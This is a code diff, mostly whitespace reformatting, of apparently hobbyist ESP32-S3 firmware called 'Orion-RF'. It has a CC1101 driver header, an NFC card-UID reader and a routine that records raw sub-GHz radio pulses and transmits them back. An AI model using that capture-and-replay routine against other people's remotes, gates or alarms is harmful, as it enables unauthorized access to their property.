| 143 | − | void setMHZ(float mhz); | |
| 144 | − | void setChannel(byte chnl); | |
| 145 | − | void setChsp(float f); | |
| 146 | − | void setRxBW(float f); | |
| 147 | − | void setDRate(float d); | |
| 148 | − | void setDeviation(float d); | |
| 149 | − | void SetTx(void); | |
| 150 | − | void SetRx(void); | |
| 151 | − | void SetTx(float mhz); | |
| 152 | − | void SetRx(float mhz); | |
| 153 | − | int getRssi(void); | |
| 154 | − | byte getLqi(void); | |
| 155 | − | void setSres(void); | |
| 156 | − | void setSidle(void); | |
| 157 | − | void goSleep(void); | |
| 158 | − | void SendData(byte *txBuffer, byte size); | |
| 159 | − | void SendData(char *txchar); | |
| 160 | − | void SendData(byte *txBuffer, byte size, int t); | |
| 161 | − | void SendData(char *txchar, int t); | |
| 162 | − | byte CheckReceiveFlag(void); | |
| 163 | − | byte ReceiveData(byte *rxBuffer); | |
| 164 | − | bool CheckCRC(void); | |
| 165 | − | void SpiStrobe(byte strobe); | |
| 166 | − | void SpiWriteReg(byte addr, byte value); | |
| 167 | − | void SpiWriteBurstReg(byte addr, byte *buffer, byte num); | |
| 168 | − | byte SpiReadReg(byte addr); | |
| 169 | − | void SpiReadBurstReg(byte addr, byte *buffer, byte num); | |
| 170 | − | void setClb(byte b, byte s, byte e); | |
| 171 | − | bool getCC1101(void); | |
| 172 | − | byte getMode(void); | |
| 173 | − | void setSyncWord(byte sh, byte sl); | |
| 174 | − | void setAddr(byte v); | |
| 175 | − | void setWhiteData(bool v); | |
| 176 | − | void setPktFormat(byte v); | |
| 177 | − | void setCrc(bool v); | |
| 178 | − | void setLengthConfig(byte v); | |
| 179 | − | void setPacketLength(byte v); | |
| 180 | − | void setDcFilterOff(bool v); | |
| 181 | − | void setManchester(bool v); | |
| 182 | − | void setSyncMode(byte v); | |
| 183 | − | void setFEC(bool v); | |
| 184 | − | void setPRE(byte v); | |
| 185 | − | void setPQT(byte v); | |
| 186 | − | void setCRC_AF(bool v); | |
| 187 | − | void setAppendStatus(bool v); | |
| 188 | − | void setAdrChk(byte v); | |
| 189 | − | bool CheckRxFifo(int t); | |
| 121 | + | //************************************* class | |
| 122 | + | //**************************************************// | |
| 123 | + | class ELECHOUSE_CC1101 { | |
| 124 | + | private: | |
| 125 | + | void SpiStart(void); | |
| 126 | + | void SpiEnd(void); | |
| 127 | + | void GDO_Set(void); | |
| 128 | + | void GDO0_Set(void); | |
| 129 | + | void Reset(void); | |
| 130 | + | void setSpi(void); | |
| 131 | + | void RegConfigSettings(void); | |
| 132 | + | void Calibrate(void); | |
| 133 | + | void Split_PKTCTRL0(void); | |
| 134 | + | void Split_PKTCTRL1(void); | |
| 135 | + | void Split_MDMCFG1(void); | |
| 136 | + | void Split_MDMCFG2(void); | |
| 137 | + | void Split_MDMCFG4(void); | |
| 138 | + | ||
| 139 | + | public: | |
| 140 | + | void Init(void); | |
| 141 | + | byte SpiReadStatus(byte addr); | |
| 142 | + | void setSpiPin(byte sck, byte miso, byte mosi, byte ss); | |
| 143 | + | void addSpiPin(byte sck, byte miso, byte mosi, byte ss, byte modul); | |
| 144 | + | void setGDO(byte gdo0, byte gdo2); | |
| 145 | + | void setGDO0(byte gdo0); | |
| 146 | + | void addGDO(byte gdo0, byte gdo2, byte modul); | |
| 147 | + | void addGDO0(byte gdo0, byte modul); | |
| 148 | + | void setModul(byte modul); | |
| 149 | + | void setCCMode(bool s); | |
| 150 | + | void setModulation(byte m); | |
| 151 | + | void setPA(int p); | |
| 152 | + | void setMHZ(float mhz); | |
| 153 | + | void setChannel(byte chnl); | |
| 154 | + | void setChsp(float f); | |
| 155 | + | void setRxBW(float f); | |
| 156 | + | void setDRate(float d); | |
| 157 | + | void setDeviation(float d); | |
| 158 | + | void SetTx(void); | |
| 159 | + | void SetRx(void); | |
| 160 | + | void SetTx(float mhz); | |
| 161 | + | void SetRx(float mhz); | |
| 162 | + | int getRssi(void); | |
| 163 | + | byte getLqi(void); | |
| 164 | + | void setSres(void); | |
| 165 | + | void setSidle(void); | |
| 166 | + | void goSleep(void); | |
| 167 | + | void SendData(byte *txBuffer, byte size); | |
| 168 | + | void SendData(char *txchar); | |
| 169 | + | void SendData(byte *txBuffer, byte size, int t); | |
| 170 | + | void SendData(char *txchar, int t); | |
| 171 | + | byte CheckReceiveFlag(void); | |
| 172 | + | byte ReceiveData(byte *rxBuffer); | |
| 173 | + | bool CheckCRC(void); | |
| 174 | + | void SpiStrobe(byte strobe); | |
| 175 | + | void SpiWriteReg(byte addr, byte value); | |
| 176 | + | void SpiWriteBurstReg(byte addr, byte *buffer, byte num); | |
| 177 | + | byte SpiReadReg(byte addr); | |
| 178 | + | void SpiReadBurstReg(byte addr, byte *buffer, byte num); | |
| 179 | + | void setClb(byte b, byte s, byte e); | |
| 180 | + | bool getCC1101(void); | |
| 181 | + | byte getMode(void); | |
| 182 | + | void setSyncWord(byte sh, byte sl); | |
| 183 | + | void setAddr(byte v); | |
| 184 | + | void setWhiteData(bool v); | |
| 185 | + | void setPktFormat(byte v); | |
| 186 | + | void setCrc(bool v); | |
| 187 | + | void setLengthConfig(byte v); | |
| 188 | + | void setPacketLength(byte v); | |
| 189 | + | void setDcFilterOff(bool v); | |
| 190 | + | void setManchester(bool v); | |
| 191 | + | void setSyncMode(byte v); | |
| 192 | + | void setFEC(bool v); | |
| 193 | + | void setPRE(byte v); | |
| 194 | + | void setPQT(byte v); | |
| 195 | + | void setCRC_AF(bool v); | |
| 196 | + | void setAppendStatus(bool v); | |
| 197 | + | void setAdrChk(byte v); | |
| 198 | + | bool CheckRxFifo(int t); | |
| 190 | 199 | }; | |
| 191 | 200 | ||
| 192 | 201 | extern ELECHOUSE_CC1101 ELECHOUSE_cc1101; | |
| @@ -37,88 +37,88 @@ RF24 radio2(CE2_PIN, CSN2_PIN); | |||
| 37 | 37 | SPIClass *RADIO_SPI; | |
| 38 | 38 | ||
| 39 | 39 | void deactivateNRF1() { | |
| 40 | − | digitalWrite(CSN1_PIN, HIGH); | |
| 41 | − | digitalWrite(CE1_PIN, LOW); | |
| 40 | + | digitalWrite(CSN1_PIN, HIGH); | |
| 41 | + | digitalWrite(CE1_PIN, LOW); | |
| 42 | 42 | } | |
| 43 | 43 | ||
| 44 | 44 | void deactivateNRF2() { | |
| 45 | − | digitalWrite(CSN2_PIN, HIGH); | |
| 46 | − | digitalWrite(CE2_PIN, LOW); | |
| 45 | + | digitalWrite(CSN2_PIN, HIGH); | |
| 46 | + | digitalWrite(CE2_PIN, LOW); | |
| 47 | 47 | } | |
| 48 | 48 | ||
| 49 | 49 | // ================= SYSTEM INFO ================= | |
| 50 | 50 | void printSystemUsage() { | |
| 51 | − | esp_chip_info_t chip_info; | |
| 51 | + | esp_chip_info_t chip_info; | |
| 52 | 52 | ||
| 53 | − | esp_chip_info(&chip_info); | |
| 53 | + | esp_chip_info(&chip_info); | |
| 54 | 54 | ||
| 55 | − | Serial.printf("CPU cores: %d\n", chip_info.cores); | |
| 55 | + | Serial.printf("CPU cores: %d\n", chip_info.cores); | |
| 56 | 56 | ||
| 57 | − | Serial.printf("Free heap: %d bytes\n", | |
| 58 | − | heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); | |
| 57 | + | Serial.printf("Free heap: %d bytes\n", | |
| 58 | + | heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); | |
| 59 | 59 | ||
| 60 | − | Serial.printf("PSRAM free: %d bytes\n", | |
| 61 | − | heap_caps_get_free_size(MALLOC_CAP_SPIRAM)); | |
| 60 | + | Serial.printf("PSRAM free: %d bytes\n", | |
| 61 | + | heap_caps_get_free_size(MALLOC_CAP_SPIRAM)); | |
| 62 | 62 | } | |
| 63 | 63 | ||
| 64 | 64 | void showSplash() { | |
| 65 | − | u8g2.clearBuffer(); | |
| 65 | + | u8g2.clearBuffer(); | |
| 66 | 66 | ||
| 67 | − | u8g2.setFont(u8g2_font_logisoso20_tr); // big font | |
| 68 | − | u8g2.drawStr(10, 40, "Orion-RF"); | |
| 67 | + | u8g2.setFont(u8g2_font_logisoso20_tr); // big font | |
| 68 | + | u8g2.drawStr(10, 40, "Orion-RF"); | |
| 69 | 69 | ||
| 70 | − | u8g2.setFont(u8g2_font_5x8_tr); // small subtitle | |
| 71 | − | u8g2.drawStr(25, 58, "Initializing..."); | |
| 70 | + | u8g2.setFont(u8g2_font_5x8_tr); // small subtitle | |
| 71 | + | u8g2.drawStr(25, 58, "Initializing..."); | |
| 72 | 72 | ||
| 73 | − | u8g2.sendBuffer(); | |
| 73 | + | u8g2.sendBuffer(); | |
| 74 | 74 | ||
| 75 | − | delay(1500); // 1.5 sec | |
| 75 | + | delay(1500); // 1.5 sec | |
| 76 | 76 | } | |
| 77 | 77 | ||
| 78 | 78 | // ================= SETUP ================= | |
| 79 | 79 | void setup() { | |
| 80 | − | Serial.begin(115200); | |
| 80 | + | Serial.begin(115200); | |
| 81 | 81 | ||
| 82 | − | displayInit(); | |
| 83 | − | showSplash(); | |
| 82 | + | displayInit(); | |
| 83 | + | showSplash(); | |
| 84 | 84 | ||
| 85 | − | buttonsInit(); | |
| 86 | − | menuInit(); | |
| 85 | + | buttonsInit(); | |
| 86 | + | menuInit(); | |
| 87 | 87 | ||
| 88 | − | delay(1500); | |
| 88 | + | delay(1500); | |
| 89 | 89 | ||
| 90 | − | USB.begin(); | |
| 91 | − | Keyboard.begin(); | |
| 90 | + | USB.begin(); | |
| 91 | + | Keyboard.begin(); | |
| 92 | 92 | ||
| 93 | − | // NRF SPI safety | |
| 94 | − | // pinMode(CSN1_PIN, OUTPUT); | |
| 95 | − | // digitalWrite(CSN1_PIN, HIGH); | |
| 93 | + | // NRF SPI safety | |
| 94 | + | // pinMode(CSN1_PIN, OUTPUT); | |
| 95 | + | // digitalWrite(CSN1_PIN, HIGH); | |
| 96 | 96 | ||
| 97 | − | // pinMode(CSN2_PIN, OUTPUT); | |
| 98 | − | // digitalWrite(CSN2_PIN, HIGH); | |
| 99 | − | deactivateNRF1(); | |
| 100 | − | deactivateNRF2(); | |
| 97 | + | // pinMode(CSN2_PIN, OUTPUT); | |
| 98 | + | // digitalWrite(CSN2_PIN, HIGH); | |
| 99 | + | deactivateNRF1(); | |
| 100 | + | deactivateNRF2(); | |
| 101 | 101 | ||
| 102 | − | RADIO_SPI = new SPIClass(FSPI); | |
| 103 | − | RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI); | |
| 102 | + | RADIO_SPI = new SPIClass(FSPI); | |
| 103 | + | RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI); | |
| 104 | 104 | ||
| 105 | − | // ===== CC1101 SPI INIT ===== | |
| 106 | − | // SPI.begin( | |
| 107 | − | // cc1101_SCK, | |
| 108 | − | // cc1101_MISO, | |
| 109 | − | // cc1101_MOSI, | |
| 110 | − | // CC1101_CS | |
| 111 | − | //); | |
| 105 | + | // ===== CC1101 SPI INIT ===== | |
| 106 | + | // SPI.begin( | |
| 107 | + | // cc1101_SCK, | |
| 108 | + | // cc1101_MISO, | |
| 109 | + | // cc1101_MOSI, | |
| 110 | + | // CC1101_CS | |
| 111 | + | //); | |
| 112 | 112 | ||
| 113 | − | // pinMode(CC1101_CS, OUTPUT); | |
| 114 | − | // pinMode(CC1101_2_CS, OUTPUT); | |
| 113 | + | // pinMode(CC1101_CS, OUTPUT); | |
| 114 | + | // pinMode(CC1101_2_CS, OUTPUT); | |
| 115 | 115 | ||
| 116 | − | // digitalWrite(CC1101_CS, HIGH); | |
| 117 | − | // digitalWrite(CC1101_2_CS, HIGH); | |
| 116 | + | // digitalWrite(CC1101_CS, HIGH); | |
| 117 | + | // digitalWrite(CC1101_2_CS, HIGH); | |
| 118 | 118 | ||
| 119 | − | printSystemUsage(); | |
| 119 | + | printSystemUsage(); | |
| 120 | 120 | ||
| 121 | − | Serial.println("SYSTEM READY"); | |
| 121 | + | Serial.println("SYSTEM READY"); | |
| 122 | 122 | } | |
| 123 | 123 | ||
| 124 | 124 | // ================= LOOP ================= | |
| @@ -15,90 +15,90 @@ | |||
| 15 | 15 | Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire); | |
| 16 | 16 | ||
| 17 | 17 | void drawWaiting() { | |
| 18 | − | u8g2.clearBuffer(); | |
| 18 | + | u8g2.clearBuffer(); | |
| 19 | 19 | ||
| 20 | − | u8g2.drawStr(10, 20, "PN532 Ready"); | |
| 21 | − | u8g2.drawStr(10, 40, "Tap NFC Card"); | |
| 20 | + | u8g2.drawStr(10, 20, "PN532 Ready"); | |
| 21 | + | u8g2.drawStr(10, 40, "Tap NFC Card"); | |
| 22 | 22 | ||
| 23 | − | u8g2.sendBuffer(); | |
| 23 | + | u8g2.sendBuffer(); | |
| 24 | 24 | } | |
| 25 | 25 | ||
| 26 | 26 | void showUID(uint8_t *uid, uint8_t uidLength) { | |
| 27 | − | char line[64]; | |
| 27 | + | char line[64]; | |
| 28 | 28 | ||
| 29 | − | String uidStr = ""; | |
| 29 | + | String uidStr = ""; | |
| 30 | 30 | ||
| 31 | − | for (int i = 0; i < uidLength; i++) { | |
| 32 | − | if (uid[i] < 0x10) | |
| 33 | − | uidStr += "0"; | |
| 31 | + | for (int i = 0; i < uidLength; i++) { | |
| 32 | + | if (uid[i] < 0x10) | |
| 33 | + | uidStr += "0"; | |
| 34 | 34 | ||
| 35 | − | uidStr += String(uid[i], HEX); | |
| 36 | − | uidStr += " "; | |
| 37 | − | } | |
| 35 | + | uidStr += String(uid[i], HEX); | |
| 36 | + | uidStr += " "; | |
| 37 | + | } | |
| 38 | 38 | ||
| 39 | − | uidStr.toUpperCase(); | |
| 39 | + | uidStr.toUpperCase(); | |
| 40 | 40 | ||
| 41 | − | u8g2.clearBuffer(); | |
| 41 | + | u8g2.clearBuffer(); | |
| 42 | 42 | ||
| 43 | − | u8g2.drawStr(0, 15, "Card Detected"); | |
| 43 | + | u8g2.drawStr(0, 15, "Card Detected"); | |
| 44 | 44 | ||
| 45 | − | snprintf(line, sizeof(line), "UID:"); | |
| 45 | + | snprintf(line, sizeof(line), "UID:"); | |
| 46 | 46 | ||
| 47 | − | u8g2.drawStr(0, 35, line); | |
| 47 | + | u8g2.drawStr(0, 35, line); | |
| 48 | 48 | ||
| 49 | − | u8g2.drawStr(0, 50, uidStr.c_str()); | |
| 49 | + | u8g2.drawStr(0, 50, uidStr.c_str()); | |
| 50 | 50 | ||
| 51 | − | u8g2.sendBuffer(); | |
| 51 | + | u8g2.sendBuffer(); | |
| 52 | 52 | } | |
| 53 | 53 | ||
| 54 | 54 | void pn532_init() { | |
| 55 | − | delay(100); | |
| 56 | − | nfc.begin(); | |
| 57 | − | delay(100); | |
| 55 | + | delay(100); | |
| 56 | + | nfc.begin(); | |
| 57 | + | delay(100); | |
| 58 | 58 | ||
| 59 | − | uint32_t versiondata = nfc.getFirmwareVersion(); | |
| 59 | + | uint32_t versiondata = nfc.getFirmwareVersion(); | |
| 60 | 60 | ||
| 61 | − | if (!versiondata) { | |
| 62 | − | Serial.println("PN532 not found"); | |
| 61 | + | if (!versiondata) { | |
| 62 | + | Serial.println("PN532 not found"); | |
| 63 | 63 | ||
| 64 | − | u8g2.clearBuffer(); | |
| 65 | − | u8g2.drawStr(0, 20, "PN532 NOT FOUND"); | |
| 66 | − | u8g2.sendBuffer(); | |
| 64 | + | u8g2.clearBuffer(); | |
| 65 | + | u8g2.drawStr(0, 20, "PN532 NOT FOUND"); | |
| 66 | + | u8g2.sendBuffer(); | |
| 67 | 67 | ||
| 68 | − | delay(2000); | |
| 69 | − | return; | |
| 70 | − | } | |
| 68 | + | delay(2000); | |
| 69 | + | return; | |
| 70 | + | } | |
| 71 | 71 | ||
| 72 | − | Serial.println("PN532 initialized"); | |
| 72 | + | Serial.println("PN532 initialized"); | |
| 73 | 73 | ||
| 74 | − | nfc.SAMConfig(); | |
| 74 | + | nfc.SAMConfig(); | |
| 75 | 75 | } | |
| 76 | 76 | ||
| 77 | 77 | void pn532_scan_loop() { | |
| 78 | − | pn532_init(); | |
| 78 | + | pn532_init(); | |
| 79 | 79 | ||
| 80 | − | drawWaiting(); | |
| 80 | + | drawWaiting(); | |
| 81 | 81 | ||
| 82 | − | while (1) { | |
| 83 | − | uint8_t success; | |
| 84 | − | uint8_t uid[7]; | |
| 85 | − | uint8_t uidLength; | |
| 82 | + | while (1) { | |
| 83 | + | uint8_t success; | |
| 84 | + | uint8_t uid[7]; | |
| 85 | + | uint8_t uidLength; | |
| 86 | 86 | ||
| 87 | − | Serial.println("Scanning..."); | |
| 88 | − | success = | |
| 89 | − | nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, &uidLength, 50); | |
| 87 | + | Serial.println("Scanning..."); | |
| 88 | + | success = nfc.readPassiveTargetID(PN532_MIFARE_ISO14443A, uid, | |
| 89 | + | &uidLength, 50); | |
| 90 | 90 | ||
| 91 | − | if (success) { | |
| 92 | − | Serial.println("Card detected"); | |
| 91 | + | if (success) { | |
| 92 | + | Serial.println("Card detected"); | |
| 93 | 93 | ||
| 94 | − | showUID(uid, uidLength); | |
| 94 | + | showUID(uid, uidLength); | |
| 95 | 95 | ||
| 96 | − | delay(1000); | |
| 97 | − | } | |
| 96 | + | delay(1000); | |
| 97 | + | } | |
| 98 | 98 | ||
| 99 | − | if (btnBack()) { | |
| 100 | − | delay(150); | |
| 101 | − | break; | |
| 99 | + | if (btnBack()) { | |
| 100 | + | delay(150); | |
| 101 | + | break; | |
| 102 | + | } | |
| 102 | 103 | } | |
| 103 | − | } | |
| 104 | 104 | } | |
| @@ -27,331 +27,331 @@ int powerLevel = 10; | |||
| 27 | 27 | ||
| 28 | 28 | // ===== ISR ===== | |
| 29 | 29 | void IRAM_ATTR pulseISR() { | |
| 30 | − | unsigned long now = micros(); | |
| 30 | + | unsigned long now = micros(); | |
| 31 | 31 | ||
| 32 | − | if (!capturing) | |
| 33 | − | return; | |
| 34 | − | if (pulseIndex >= RAW_BUF_MAX) | |
| 35 | − | return; | |
| 32 | + | if (!capturing) | |
| 33 | + | return; | |
| 34 | + | if (pulseIndex >= RAW_BUF_MAX) | |
| 35 | + | return; | |
| 36 | 36 | ||
| 37 | − | unsigned long duration = now - lastEdgeTime; | |
| 37 | + | unsigned long duration = now - lastEdgeTime; | |
| 38 | 38 | ||
| 39 | − | if (duration < 150) | |
| 40 | − | return; | |
| 39 | + | if (duration < 150) | |
| 40 | + | return; | |
| 41 | 41 | ||
| 42 | − | captureBuffer[pulseIndex++] = duration; | |
| 43 | − | lastEdgeTime = now; | |
| 42 | + | captureBuffer[pulseIndex++] = duration; | |
| 43 | + | lastEdgeTime = now; | |
| 44 | 44 | } | |
| 45 | 45 | ||
| 46 | 46 | // ===== OOK SETUP ===== | |
| 47 | 47 | void setupOOKMode() { | |
| 48 | − | ELECHOUSE_cc1101.SetRx(); | |
| 49 | − | ELECHOUSE_cc1101.setMHZ(currentFreq); | |
| 50 | − | ||
| 51 | − | ELECHOUSE_cc1101.setModulation(2); // ASK/OOK | |
| 52 | − | ELECHOUSE_cc1101.setDRate(dataRate); | |
| 53 | − | ELECHOUSE_cc1101.setDeviation(0); | |
| 54 | − | ELECHOUSE_cc1101.setRxBW(rxBW); | |
| 55 | − | ELECHOUSE_cc1101.setSyncMode(0); | |
| 56 | − | ELECHOUSE_cc1101.setPA(powerLevel); | |
| 48 | + | ELECHOUSE_cc1101.SetRx(); | |
| 49 | + | ELECHOUSE_cc1101.setMHZ(currentFreq); | |
| 50 | + | ||
| 51 | + | ELECHOUSE_cc1101.setModulation(2); // ASK/OOK | |
| 52 | + | ELECHOUSE_cc1101.setDRate(dataRate); | |
| 53 | + | ELECHOUSE_cc1101.setDeviation(0); | |
| 54 | + | ELECHOUSE_cc1101.setRxBW(rxBW); | |
| 55 | + | ELECHOUSE_cc1101.setSyncMode(0); | |
| 56 | + | ELECHOUSE_cc1101.setPA(powerLevel); | |
| 57 | 57 | } | |
| 58 | 58 | ||
| 59 | 59 | // ===== INIT (LAZY, SAFE) ===== | |
| 60 | 60 | // ================= CC1101 INIT ================= | |
| 61 | 61 | bool initCC1101() { | |
| 62 | − | Serial.println(); | |
| 63 | − | Serial.println("===== CC1101 INIT ====="); | |
| 62 | + | Serial.println(); | |
| 63 | + | Serial.println("===== CC1101 INIT ====="); | |
| 64 | 64 | ||
| 65 | − | // ===== SPI ===== | |
| 66 | − | SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS); | |
| 65 | + | // ===== SPI ===== | |
| 66 | + | SPI.begin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS); | |
| 67 | 67 | ||
| 68 | − | pinMode(CC1101_CS, OUTPUT); | |
| 69 | − | digitalWrite(CC1101_CS, HIGH); | |
| 68 | + | pinMode(CC1101_CS, OUTPUT); | |
| 69 | + | digitalWrite(CC1101_CS, HIGH); | |
| 70 | 70 | ||
| 71 | − | delay(100); | |
| 71 | + | delay(100); | |
| 72 | 72 | ||
| 73 | − | // ===== GDO ===== | |
| 74 | − | ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1); | |
| 73 | + | // ===== GDO ===== | |
| 74 | + | ELECHOUSE_cc1101.setGDO(CC1101_GDO0, -1); | |
| 75 | 75 | ||
| 76 | − | ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS); | |
| 76 | + | ELECHOUSE_cc1101.setSpiPin(cc1101_SCK, cc1101_MISO, cc1101_MOSI, CC1101_CS); | |
| 77 | 77 | ||
| 78 | − | // ===== DETECT ===== | |
| 79 | − | Serial.println("Checking chip..."); | |
| 78 | + | // ===== DETECT ===== | |
| 79 | + | Serial.println("Checking chip..."); | |
| 80 | 80 | ||
| 81 | − | if (!ELECHOUSE_cc1101.getCC1101()) { | |
| 82 | − | Serial.println("❌ CC1101 NOT FOUND"); | |
| 83 | − | return false; | |
| 84 | − | } | |
| 81 | + | if (!ELECHOUSE_cc1101.getCC1101()) { | |
| 82 | + | Serial.println("❌ CC1101 NOT FOUND"); | |
| 83 | + | return false; | |
| 84 | + | } | |
| 85 | 85 | ||
| 86 | − | Serial.println("✅ CC1101 FOUND"); | |
| 86 | + | Serial.println("✅ CC1101 FOUND"); | |
| 87 | 87 | ||
| 88 | − | // ===== IMPORTANT ===== | |
| 89 | − | // DO NOT CALL Init() | |
| 90 | − | // it freezes on some ESP32-S3 setups | |
| 88 | + | // ===== IMPORTANT ===== | |
| 89 | + | // DO NOT CALL Init() | |
| 90 | + | // it freezes on some ESP32-S3 setups | |
| 91 | 91 | ||
| 92 | − | // ===== MANUAL CONFIG ===== | |
| 93 | − | ELECHOUSE_cc1101.setMHZ(currentFreq); | |
| 92 | + | // ===== MANUAL CONFIG ===== | |
| 93 | + | ELECHOUSE_cc1101.setMHZ(currentFreq); | |
| 94 | 94 | ||
| 95 | − | // 2 = ASK/OOK | |
| 96 | − | ELECHOUSE_cc1101.setModulation(2); | |
| 95 | + | // 2 = ASK/OOK | |
| 96 | + | ELECHOUSE_cc1101.setModulation(2); | |
| 97 | 97 | ||
| 98 | − | ELECHOUSE_cc1101.setDRate(dataRate); | |
| 98 | + | ELECHOUSE_cc1101.setDRate(dataRate); | |
| 99 | 99 | ||
| 100 | − | ELECHOUSE_cc1101.setRxBW(rxBW); | |
| 100 | + | ELECHOUSE_cc1101.setRxBW(rxBW); | |
| 101 | 101 | ||
| 102 | − | ELECHOUSE_cc1101.setDeviation(0); | |
| 102 | + | ELECHOUSE_cc1101.setDeviation(0); | |
| 103 | 103 | ||
| 104 | − | // disable sync requirement | |
| 105 | − | ELECHOUSE_cc1101.setSyncMode(0); | |
| 104 | + | // disable sync requirement | |
| 105 | + | ELECHOUSE_cc1101.setSyncMode(0); | |
| 106 | 106 | ||
| 107 | − | ELECHOUSE_cc1101.setPA(powerLevel); | |
| 107 | + | ELECHOUSE_cc1101.setPA(powerLevel); | |
| 108 | 108 | ||
| 109 | − | // async serial mode | |
| 110 | − | ELECHOUSE_cc1101.setCCMode(0); | |
| 109 | + | // async serial mode | |
| 110 | + | ELECHOUSE_cc1101.setCCMode(0); | |
| 111 | 111 | ||
| 112 | − | // enter RX | |
| 113 | − | ELECHOUSE_cc1101.SetRx(); | |
| 112 | + | // enter RX | |
| 113 | + | ELECHOUSE_cc1101.SetRx(); | |
| 114 | 114 | ||
| 115 | − | pinMode(CC1101_GDO0, INPUT); | |
| 115 | + | pinMode(CC1101_GDO0, INPUT); | |
| 116 | 116 | ||
| 117 | − | Serial.println("✅ RX MODE READY"); | |
| 117 | + | Serial.println("✅ RX MODE READY"); | |
| 118 | 118 | ||
| 119 | − | cc1101Inited = true; | |
| 120 | − | return true; | |
| 119 | + | cc1101Inited = true; | |
| 120 | + | return true; | |
| 121 | 121 | } | |
| 122 | 122 | // ===== CAPTURE CONTROL ===== | |
| 123 | 123 | void startCapture() { | |
| 124 | − | pulseIndex = 0; | |
| 125 | − | capturing = true; | |
| 126 | − | lastEdgeTime = micros(); | |
| 124 | + | pulseIndex = 0; | |
| 125 | + | capturing = true; | |
| 126 | + | lastEdgeTime = micros(); | |
| 127 | 127 | ||
| 128 | − | attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE); | |
| 128 | + | attachInterrupt(digitalPinToInterrupt(CC1101_GDO0), pulseISR, CHANGE); | |
| 129 | 129 | ||
| 130 | − | Serial.println("Looking for RF... "); | |
| 130 | + | Serial.println("Looking for RF... "); | |
| 131 | 131 | } | |
| 132 | 132 | ||
| 133 | 133 | bool isCC1101Ready() { return cc1101Inited; } | |
| 134 | 134 | ||
| 135 | 135 | void stopCapture() { | |
| 136 | − | capturing = false; | |
| 136 | + | capturing = false; | |
| 137 | 137 | ||
| 138 | − | detachInterrupt(digitalPinToInterrupt(CC1101_GDO0)); | |
| 138 | + | detachInterrupt(digitalPinToInterrupt(CC1101_GDO0)); | |
| 139 | 139 | ||
| 140 | − | Serial.println("Capture stopped"); | |
| 140 | + | Serial.println("Capture stopped"); | |
| 141 | 141 | } | |
| 142 | 142 | ||
| 143 | 143 | // ===== DEBUG PRINT ===== | |
| 144 | 144 | void printCapture() { | |
| 145 | − | Serial.println("Captured pulses:"); | |
| 145 | + | Serial.println("Captured pulses:"); | |
| 146 | 146 | ||
| 147 | − | for (int i = 0; i < pulseIndex; i++) { | |
| 148 | − | Serial.println(captureBuffer[i]); | |
| 149 | − | } | |
| 147 | + | for (int i = 0; i < pulseIndex; i++) { | |
| 148 | + | Serial.println(captureBuffer[i]); | |
| 149 | + | } | |
| 150 | 150 | } | |
| 151 | 151 | ||
| 152 | 152 | // ================= REPLAY ================= | |
| 153 | 153 | void replaySignal() { | |
| 154 | − | Serial.println(); | |
| 155 | − | Serial.println("Replaying signal..."); | |
| 154 | + | Serial.println(); | |
| 155 | + | Serial.println("Replaying signal..."); | |
| 156 | 156 | ||
| 157 | − | stopCapture(); | |
| 157 | + | stopCapture(); | |
| 158 | 158 | ||
| 159 | − | ELECHOUSE_cc1101.SetTx(); | |
| 159 | + | ELECHOUSE_cc1101.SetTx(); | |
| 160 | 160 | ||
| 161 | − | pinMode(CC1101_GDO0, OUTPUT); | |
| 161 | + | pinMode(CC1101_GDO0, OUTPUT); | |
| 162 | 162 | ||
| 163 | − | for (int i = 0; i < pulseIndex; i++) { | |
| 164 | − | digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW); | |
| 163 | + | for (int i = 0; i < pulseIndex; i++) { | |
| 164 | + | digitalWrite(CC1101_GDO0, (i % 2 == 0) ? HIGH : LOW); | |
| 165 | 165 | ||
| 166 | − | delayMicroseconds(captureBuffer[i]); | |
| 167 | − | } | |
| 166 | + | delayMicroseconds(captureBuffer[i]); | |
| 167 | + | } | |
| 168 | 168 | ||
| 169 | − | digitalWrite(CC1101_GDO0, LOW); | |
| 169 | + | digitalWrite(CC1101_GDO0, LOW); | |
| 170 | 170 | ||
| 171 | − | ELECHOUSE_cc1101.SetRx(); | |
| 171 | + | ELECHOUSE_cc1101.SetRx(); | |
| 172 | 172 | ||
| 173 | − | pinMode(CC1101_GDO0, INPUT); | |
| 173 | + | pinMode(CC1101_GDO0, INPUT); | |
| 174 | 174 | ||
| 175 | − | Serial.println("Replay complete"); | |
| 175 | + | Serial.println("Replay complete"); | |
| 176 | 176 | } | |
| 177 | 177 | ||
| 178 | 178 | void captureAndDisplay() { | |
| 179 | − | if (!cc1101Inited) { | |
| 180 | − | if (!initCC1101()) { | |
| 181 | − | u8g2.clearBuffer(); | |
| 182 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 183 | − | u8g2.drawStr(0, 20, "CC1101 Failed"); | |
| 184 | − | u8g2.sendBuffer(); | |
| 185 | − | return; | |
| 179 | + | if (!cc1101Inited) { | |
| 180 | + | if (!initCC1101()) { | |
| 181 | + | u8g2.clearBuffer(); | |
| 182 | + | u8g2.setFont(u8g2_font_6x10_tr); | |
| 183 | + | u8g2.drawStr(0, 20, "CC1101 Failed"); | |
| 184 | + | u8g2.sendBuffer(); | |
| 185 | + | return; | |
| 186 | + | } | |
| 186 | 187 | } | |
| 187 | − | } | |
| 188 | 188 | ||
| 189 | − | startCapture(); | |
| 189 | + | startCapture(); | |
| 190 | 190 | ||
| 191 | − | u8g2.clearBuffer(); | |
| 192 | − | u8g2.setFont(u8g2_font_6x10_tr); | |
| 193 | − | u8g2.drawStr(0, 12, "CC1101 Capture"); | |
| 194 | − | u8g2.drawStr(0, 28, "Waiting RF..."); | |
| 195 | − | u8g2.drawStr(0, 60, "BACK = Exit"); | |
| 196 | − | u8g2.sendBuffer(); | |
| 191 | + | u8g2.clearBuffer(); | |
